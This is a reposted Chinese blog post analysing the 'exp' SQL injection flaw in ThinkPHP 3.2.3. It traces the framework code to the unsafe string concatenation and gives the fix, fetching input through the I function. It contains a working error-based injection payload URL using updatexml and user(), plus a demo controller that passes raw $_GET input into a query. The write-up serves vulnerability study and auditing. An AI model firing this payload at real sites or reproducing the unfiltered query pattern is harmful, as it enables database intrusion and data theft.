ThinkPHP3.2.3框架exp注入


這個注入與bind注入差不多

環境搭建

直接在IndexController.class.php中創建一個demo

public function index(){
        $map=array();
        $map['id']=$_GET['id'];
        $data=M('users')->where($map)->find();
        dump($data);
    }

數據庫配置:

<?php
return array(
    //'配置項'=>'配置值'
    'DB_TYPE'           =>  'mysql',
    'DB_HOST'           =>  'localhost',
    'DB_NAME'           =>  'thinkphp',
    'DB_USER'           =>  'root',
    'DB_PWD'            =>  'root',
    'DB_PORT'           =>  '3306',
    'DB_FIELDS_CACHE'   =>  true,
    'SHOW_PAGE_TRACE'   =>  true,
);

漏洞分析

payload:

http://127.0.0.1/thinkphp32/index.php?id[0]=exp&id[1]==1%20and%20updatexml(1,concat(0x7,user(),0x7e),1)

indexController.class.php

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index(){
        $map=array();
        $map['id']=$_GET['id'];
        $data=M('users')->where($map)->find();
        dump($data);
    }
}

可以看到這里並沒有使用I函數使用I函數則不會產生exp注入),原因我們在之后分析,我們先來分析這個注入。直接跟入where函數:

image-20201015115649820

可以看到跟以前一樣,由於傳入的是數組,直接將id數組賦值給了$this->options['where'],然后返回。

繼續跟入find,還是跟以前一樣,需要關注的兩個位置是:

$options            =   $this->_parseOptions($options);
$resultSet          =   $this->db->select($options);

先來跟入$this->_parseOptions($options);

/**
 * 分析表達式
 * @access protected
 * @param array $options 表達式參數
 * @return array
 */
protected function _parseOptions($options=array()) {
    if(is_array($options))
        $options =  array_merge($this->options,$options);

    if(!isset($options['table'])){
        // 自動獲取表名
        $options['table']   =   $this->getTableName();
        $fields             =   $this->fields;
    }else{
        // 指定數據表 則重新獲取字段列表 但不支持類型檢測
        $fields             =   $this->getDbFields();
    }

    // 數據表別名
    if(!empty($options['alias'])) {
        $options['table']  .=   ' '.$options['alias'];
    }
    // 記錄操作的模型名稱
    $options['model']       =   $this->name;

    // 字段類型驗證
    if(isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) {
        // 對數組查詢條件進行字段類型檢查
        foreach ($options['where'] as $key=>$val){
            $key            =   trim($key);
            if(in_array($key,$fields,true)){
                if(is_scalar($val)) {
                    $this->_parseType($options['where'],$key);
                }
            }elseif(!is_numeric($key) && '_' != substr($key,0,1) && false === strpos($key,'.') && false === strpos($key,'(') && false === strpos($key,'|') && false === strpos($key,'&')){
                if(!empty($this->options['strict'])){
                    E(L('_ERROR_QUERY_EXPRESS_').':['.$key.'=>'.$val.']');
                } 
                unset($options['where'][$key]);
            }
        }
    }
    // 查詢過后清空sql表達式組裝 避免影響下次查詢
    $this->options  =   array();
    // 表達式過濾
    $this->_options_filter($options);
    return $options;
}

可以看到由於傳入數組所以在if(is_scalar($val))處並沒有進入_parseType進行類型轉換,最后返回,接下分析$this->db->select($options):

image-20201015150208317

繼續進入$this->buildSelectSql($options);:

image-20201015150319934

然后是$this->parseSql($this->selectSql,$options);:

image-20201015150358691

之后重點在這個parseWhere中的parseWhereItem函數,和bind基本一樣。

image-20201015150849893

可以看到在parseWhereItem直接進行了拼接,拼接結果為:

`id` =1 and updatexml(1,concat(0x7,user(),0x7e),1)

最后返回最終拼接結果為:

image-20201015151103214

造成了sql注入。

最后回到一開始的I函數問題,在I函數內部的think_filter中,對exp進行了正則匹配,如果匹配到了會在其后面加空格,從而使得后面的將會對其進行處理無法正確拼接sql注入語句。

image-20201015153932710

image-20201015154337895

修復

在取出傳入參數時使用I函數即可避免產生exp注入。

參考

  1. ThinkPHP漏洞分析集合
  2. 代碼審計之Thinkphp3.2.3


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM